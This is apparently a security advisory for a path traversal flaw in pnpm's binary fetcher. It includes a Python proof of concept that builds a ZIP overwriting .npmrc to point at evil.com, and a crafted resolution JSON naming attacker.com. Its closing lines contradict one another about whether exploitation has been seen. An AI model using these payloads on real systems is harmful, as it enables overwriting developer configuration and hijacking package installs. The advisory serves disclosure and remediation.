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GHSA-6pfh-p556-v868
No affected components available
Summary
A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.
Details
The vulnerability exists in the binary fetching and extraction logic:
1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)
AdmZip's extractAllTo does not validate entry paths for path traversal:
const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true) // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)
A ZIP entry with path ../../../.npmrc will be written outside nodeDir.
2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)
The basename variable comes from BinaryResolution.prefix and is used directly in path construction:
const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir
PoC
Attack Vector 1: ZIP Entry Path Traversal
import zipfile
import io
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
# Normal file
zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
# Malicious path traversal entry
zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')
with open('malicious-node.zip', 'wb') as f:
f.write(zip_buffer.getvalue())
Attack Vector 2: Prefix Traversal via malicious resolution:
{
"resolution": {
"type": "binary",
"url": "https://attacker.com/node.zip",
"prefix": "../../PWNED"
}
}
Impact
- All pnpm users who install packages with binary assets
- Users who configure custom Node.js binary locations
- CI/CD pipelines that auto-install binary dependencies
- Can overwrite config files, scripts, or other sensitive files leading to RCE
Verified on pnpm main @ commit 5a0ed1d45.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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